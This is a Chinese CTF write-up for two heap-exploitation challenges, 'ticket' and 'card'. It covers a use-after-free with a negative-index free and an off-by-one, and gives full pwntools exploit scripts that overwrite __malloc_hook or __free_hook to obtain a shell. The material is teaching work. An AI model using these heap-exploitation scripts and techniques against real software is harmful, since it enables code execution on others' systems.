DASCTF_BUUCTF_May_pwn_wp
能在buuctf
上打比賽還是很舒服的,兩道pwn
題比較基礎,wp
就隨便寫一下啦!
1、ticket
checksec
運行環境為ubuntu16.04
,libc-2.23.so
題目分析
常見的菜單題,這里主要分析一下bss
段的數據分布:
需要注意的地方有:
- 可以添加
0≤ idx <=5
的ticket
堆塊,但是只能刪除idx < 3
的ticket
堆塊 - 基本上圍繞
ticket
的操作都是以heap_size
來進行判斷的,而且釋放堆塊后對應的大小會置為0
edit_info
和show_info
似乎並沒有什么用
漏洞分析
漏洞點在於兩個地方,都在del_ticket
函數中。
第一處是未校驗索引大小,使得索引可以為負數。
第二處是存在UAF
,可以利用殘留信息泄露出libc
地址。釋放堆塊的時候只把存儲size
的地方置為了0
,指針沒有置空。
利用思路
在bss
堆布局可以看到,age
的值可控,因此可以將age
寫為bss
地址,然后釋放掉bss_fake_chunk
,控制索引為2
、3
的chunk
的大小,可以越界寫。
利用步驟即為:
- 利用
unsorted bin
殘留的信息泄露出libc
地址 - 利用
del_ticket(-3)
釋放bss_fake_chunk
- 控制
chunk
的大小,使得能越界寫chunk
- 利用越界寫,構造一個
freed 0x70
大小的chunk
,修改其fd
為__malooc_hook - 0x23
- 利用
realloc + one_gadget
來獲取shell
最終exp
調試過程:
釋放假的chunk
:
越界修改fd
:
修改realloc_hook
和malloc_hook
:
from pwn import *
LOG_ADDR = lambda x, y: "{} ---> {}".format(x, hex(y))
sh = process('./ticket')
libc = ELF('./libc-2.23.so')
gadgets = [0x45216, 0x4526a, 0xf02a4, 0xf1147]
context.update(arch="amd64", endian="little", os='linux')
def welcome(name, saying, age:int):
sh.sendafter("Your name: \n", name)
sh.sendafter("what do you want to say before take off(wu hu qi fei): \n", saying)
sh.sendlineafter("Your age: \n", str(age))
def add_ticket(idx, size):
sh.sendlineafter(">> ", '1')
sh.sendlineafter("Index: \n", str(idx))
sh.sendlineafter("Remarks size: \n", str(size))
sh.recvline()
def del_ticket(idx):
sh.sendlineafter(">> ", '2')
sh.sendlineafter("Index: \n", str(idx))
sh.recvline()
def edit_ticket(idx, remark):
sh.sendlineafter(">> ", '3')
sh.sendlineafter("Index: \n", str(idx))
sh.sendafter("Your remarks: \n", remark)
sh.recvline()
def show_ticket(idx):
sh.sendlineafter(">> ", '4')
sh.sendlineafter("Index: \n", str(idx))
msg = sh.recvline()
log.info("msg recv:{}".format(msg))
return msg
# construct a fake-chunk at bss segment
welcome("xxxx", "xxxx", 0x6020e0)
add_ticket(1, 0x21) # chunk1
add_ticket(2, 0x100)
add_ticket(3, 0x10)
add_ticket(5, 0x21)
# free fake-chunk
del_ticket(-3)
# re-malloc fake-chunk by chunk0
add_ticket(0, 0x18)
# recover chunk2's size and reset chunk3's size
edit_ticket(0, p64(0x100) + p64(0))
# leak libc addr
del_ticket(2)
add_ticket(2, 0x100)
msg = show_ticket(2)
leak_libc_addr = u64(msg[-7:-1] + b"\x00\x00")
LOG_ADDR("leak_libc_addr", leak_libc_addr)
libc_base_addr = leak_libc_addr - 0x3c4b20 - 88
LOG_ADDR("libc_base_addr", libc_base_addr)
libc.address = libc_base_addr
# calc some useful address
target_addr = libc.sym["__malloc_hook"] - 0x23
system_addr = libc.sym['system']
realloc_addr = libc.sym['realloc']
one_gadget = libc.offset_to_vaddr(gadgets[1])
# change chunk2's size to overflow
edit_ticket(0, p64(0x10000))
# get freed 0x70 chunk
del_ticket(1)
add_ticket(1, 0x60)
del_ticket(1)
# change free-chunk's fd-ptr to target_addr
layout = [[0] * 32, 0x110, 0x21, [0] * 3, 0x31, [0] * 5, 0x71, target_addr]
edit_ticket(2, flat(layout))
# fastbin attack
add_ticket(1, 0x60)
add_ticket(3, 0x60)
layout = [0xb * "a", one_gadget, realloc_addr + 0xd]
edit_ticket(3, flat(layout))
# get shell by malloc_hook(one_gadget)
sh.sendlineafter(">> ", "5")
sh.interactive()
遠程打:
2、 card
checksec
運行環境為ubuntu18.04
, libc-2.27.so
題目分析
寫得花里胡哨的菜單題,有malloc
、free
、edit
、show
功能,先來看bss
段布局:
分布很簡單,左邊存儲用戶輸入的大小,右邊存儲分配的指針
需要注意的有:
- 所有的
chunk
的大小限定在0-256
之間 - 根據
libc
判斷出來堆會使用tcache bin
機制
漏洞分析
call
函數存在一個off by one
:
可以直接把0-256
之間的每個數帶進去算一遍,很多數都會使得v0+v1 = v0+1
,部分數會讓v1
計算得到0
。
利用思路
帶有tcache bin
機制的off by one
,直接利用unlink
,搞個0x90---0x20---0x90
的三明治,然后覆蓋__free_hook
為system
,釋放帶有/bin/sh
的塊即可獲得shell
。
詳細利用步驟為:
- 填滿
0x90
大小的tcache bin
- 構造三明治布局,
0x90---0x20---0x90
- 利用
off by one
和unlink
,得到0x140
的塊,並包含釋放狀態的0x20
的堆塊 - 利用堆殘留指針泄露出
libc
地址 - 修改
freed chunk 0x20
的fd
指針為__free_hook
地址 tcache bin posioning
覆蓋__free_hook
為system
地址- 釋放帶有
/bin/sh
的塊獲取shell
最終exp
調試過程:
off by one
修改pre_inuse
位:
unlink
:
泄露地址並修改fd
指針:
from pwn import *
LOG_ADDR = lambda x, y: "{} ---> {}".format(x, hex(y))
sh = process('./pwn')
libc = ELF('./libc.so')
context.update(arch="amd64", os='linux', endian="little")
def fight(idx, size, data="a"):
sh.sendlineafter("choice:", "1")
sh.sendlineafter("please choice your card:", str(idx))
sh.sendlineafter("Infuse power:\n", str(size))
sh.sendafter("quickly!", data)
def call(idx, data):
sh.sendlineafter("choice:", "2")
sh.sendlineafter("please choice your card\n", str(idx))
sh.sendafter("start your bomb show\n", data)
def play(idx):
sh.sendlineafter("choice:", "3")
sh.sendlineafter("Which card:", str(idx))
def show(idx):
sh.sendlineafter("choice:", "4")
sh.sendlineafter("index:", str(idx))
sh.recvuntil("dedededededede:")
msg = sh.recvuntil("Dededededededede~~~~~~~~~~\n")
log.info("msg recv:{}".format(msg))
return msg
# malloc 7 chunks
for i in range(7):
fight(i, 0x80)
# get sandwich-chunk
fight(7, 0x80)
fight(8, 0x18)
fight(9, 0x80)
fight(10, 0x10, "/bin/sh\x00") # gap top-chunk
# fulfill tcache bin[0x90]
for i in range(7):
play(i)
play(7)
# off by one
call(8, b"a" * 0x10 + p64(0xb0) + b"\x90")
# unlink
play(8)
play(9)
# leak_addr
fight(0, 0xa0, "a" * 8)
msg = show(0)
leak_libc_addr = u64(msg[8:16])
LOG_ADDR("leak_libc_addr", leak_libc_addr)
libc_base_addr = leak_libc_addr - 0x3ebdd0
libc.address = libc_base_addr
# change fd-ptr
call(0, b"a" * 0x88 + p64(0x21) + p64(libc.sym['__free_hook']))
# tcache bin attack
fight(1, 0x10)
fight(2, 0x10, p64(libc.sym['system']))
# get shell
play(10)
sh.interactive()
遠程打: